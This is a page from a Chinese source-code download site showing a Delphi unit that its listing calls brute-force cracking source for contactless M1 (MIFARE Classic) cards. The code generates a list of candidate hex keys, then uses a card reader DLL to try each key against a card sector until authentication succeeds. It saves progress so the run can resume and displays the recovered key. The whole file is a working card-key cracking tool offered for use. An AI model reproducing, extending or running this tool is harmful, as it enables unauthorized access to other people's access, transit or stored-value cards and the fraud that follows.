⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 IC卡暴力破解源码,用于非接触式M1卡暴力破解!
💻 PAS
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, ExtCtrls, ComCtrls;

type
  TForm1 = class(TForm)
    BitBtn1: TBitBtn;
    GroupBox1: TGroupBox;
    ComboBox1: TComboBox;
    LabeledEdit1: TLabeledEdit;
    LabeledEdit2: TLabeledEdit;
    Label1: TLabel;
    BitBtn2: TBitBtn;
    GroupBox2: TGroupBox;
    CheckBox1: TCheckBox;
    LabeledEdit3: TLabeledEdit;
    BitBtn3: TBitBtn;
    BitBtn4: TBitBtn;
    ProgressBar1: TProgressBar;
    LabeledEdit4: TLabeledEdit;
    SaveDialog1: TSaveDialog;
    OpenDialog1: TOpenDialog;
    ProgressBar2: TProgressBar;
    LabeledEdit5: TLabeledEdit;
    Label2: TLabel;
    Label3: TLabel;
    BitBtn5: TBitBtn;
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn4Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
  private
    procedure buildPwds(TS: TStrings; maxnum: Int64);
    procedure savecur;
    procedure loadcur;
  public
    { Public declarations }
  end;

type
  T_rf_init = function(port: integer; baud: longint): longint; stdcall;
  T_rf_card = function(icdev: longint; _Mode: integer; var Snr: longint): integer; stdcall;
  T_rf_load_key_hex = function(icdev: longint; _Mode: integer; SecNr: integer; Key: Pchar): integer; stdcall;
  T_rf_authentication = function(icdev: longint; _Mode: integer; SecNr: integer): integer; stdcall;
  T_rf_read_hex = function(icdev: longint; Adr: integer; Data: pchar): integer; stdcall;
  T_rf_write_hex = function(icdev: longint; Adr: integer; Data: pchar): integer; stdcall;
  T_rf_exit = procedure(icdev: longint); stdcall;
var
  Form1: TForm1;
  rf_init: T_rf_init;
  rf_exit: T_rf_exit;
  rf_card: T_rf_card;
  rf_load_key_hex: T_rf_load_key_hex;
  rf_authentication: T_rf_authentication;
  rf_read_hex: T_rf_read_hex;
  rf_write_hex: T_rf_write_hex;
  PassList: array of string;
  CheckIndex: integer;
const
  Cst32Null = '00000000000000000000000000000000';
  PWDChar: array[0..15] of string = ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F');

implementation
uses inifiles;
{$R *.dfm}

procedure TForm1.savecur;
var
  inif: TInifile;
begin
  inif := TInifile.Create(pchar(extractfilepath(paramstr(0)) + 'aa.cur'));
  inif.WriteInteger('Parms', 'CheckIndex', CheckIndex);
  inif.Free;
end;

procedure TForm1.loadcur;
var
  inif: TInifile;
begin
  try
    inif := TInifile.Create(pchar(extractfilepath(paramstr(0)) + 'aa.cur'));
    CheckIndex := inif.ReadInteger('Parms', 'CheckIndex', 0);
  finally
    inif.Free;
  end;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var
  lhnd: THandle;
  icdev: longint;
  Snr: longint;
  Buf: array[0..31] of char;
  rst: integer;
  Success: Boolean;
  i, k: integer;
  count, maxPos: int64;
  date1, date2: TDatetime;
  usedtime, alltime: integer;
begin
  lhnd := Loadlibrary(pchar(extractfilepath(paramstr(0)) + 'mwrf32.dll'));
  if lhnd < HINSTANCE_ERROR then begin
    ShowMessage('DLL.DLL加载错');
    Exit;
  end;
  //初始化

  loadcur;

  @rf_init := GetprocAddress(lhnd, 'rf_init');
  @rf_card := GetprocAddress(lhnd, 'rf_card');
  @rf_load_key_hex := GetprocAddress(lhnd, 'rf_load_key_hex');
  @rf_authentication := GetprocAddress(lhnd, 'rf_authentication');

  Snr := strtoint(LabeledEdit2.Text);

  icdev := rf_init(ComboBox1.ItemIndex, strtoint(LabeledEdit1.Text));
  ProgressBar2.Visible := true;
  try
  //寻卡
    Success := False;
    ProgressBar2.max := length(PassList);
    date1 := now;

    if (Sender as TBitBtn).Tag = 1 then
      CheckIndex := 0;

    for i := CheckIndex to high(PassList) do begin
      CheckIndex := i;
      if rf_card(icdev, 1, Snr) <> 0 then begin
        savecur;
        showmessage('无卡!');
        exit;
      end;
   //装载密码
      k := rf_load_key_hex(icdev, 0, Snr, pchar(PassList[i]));
      if k <> 0 then begin
        showmessage('装载密码错误');
        exit;
      end;
   //验证密码
      Success := rf_authentication(icdev, 0, Snr) = 0;
      if Success then begin
        LabeledEdit5.Text := PassList[i];
        exit;
      end;
      if i mod 10 = 0 then begin
        date2 := now;
        usedtime := trunc((date2 - Date1) * 1440);
        if i <> 0 then
          alltime := (usedtime * ProgressBar2.max div i);

        Label3.Caption := inttostr(usedtime) + '/' + inttostr(alltime);
        Label2.Caption := inttostr(i) + '/' + inttostr(ProgressBar2.max);
        ProgressBar2.Position := i;
        application.ProcessMessages;
      end;
    end; //for
    if not Success then
      showmessage('没有找到适合的密码!');
  finally
    ProgressBar2.Visible := false;
    @rf_exit := GetprocAddress(lhnd, 'rf_exit');
    rf_exit(icdev);
    FreeLibrary(lhnd);
  end;
end;

procedure TForm1.buildPwds(TS: TStrings; maxnum: Int64);
var
  i, j, k, l, m, n: integer;
  count, maxPos: int64;
  pws: string;
begin
  count := 0;
  maxPos := 16 * 16 * 16 * 16 * 16 * 16;
  if maxPos > maxnum then
    maxPos := maxnum;
  ProgressBar1.Max := maxPos;

  for i := 0 to 15 do
    for j := 0 to 15 do
      for k := 0 to 15 do
        for l := 0 to 15 do
          for m := 0 to 15 do
            for n := 0 to 15 do begin
              pws := PWDChar[i] + PWDChar[j] + PWDChar[k] + PWDChar[l] + PWDChar[m] + PWDChar[n];
              TS.Add(pws + pws);
              inc(count);
              ProgressBar1.Position := count;
              application.ProcessMessages;
              if count >= maxPos then
                exit;
            end;
end;

procedure TForm1.BitBtn4Click(Sender: TObject);
var
  TS: TStrings;
begin
  if LabeledEdit3.Text = '' then begin
    showmessage('输入文件名!');
    exit;
  end;
  ProgressBar1.Visible := true;
  TS := tstringlist.Create;
  buildPwds(ts, strtoint(LabeledEdit4.Text));
  ts.SaveToFile(LabeledEdit3.Text);
  ts.free;
  ProgressBar1.Visible := false;
end;

procedure TForm1.BitBtn3Click(Sender: TObject);
begin
  if SaveDialog1.Execute then
    LabeledEdit3.Text := SaveDialog1.FileName;
end;

procedure TForm1.BitBtn2Click(Sender: TObject);
var
  filename: string;
  i: integer;
  TS: TStrings;
begin
  if OpenDialog1.Execute then begin
    TS := tstringlist.Create;
    filename := OpenDialog1.FileName;
    ts.loadfromfile(filename);
    setlength(PassList, ts.count);
    for i := 0 to ts.count - 1 do
      PassList[i] := ts.strings[i];
    ts.free;
  end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -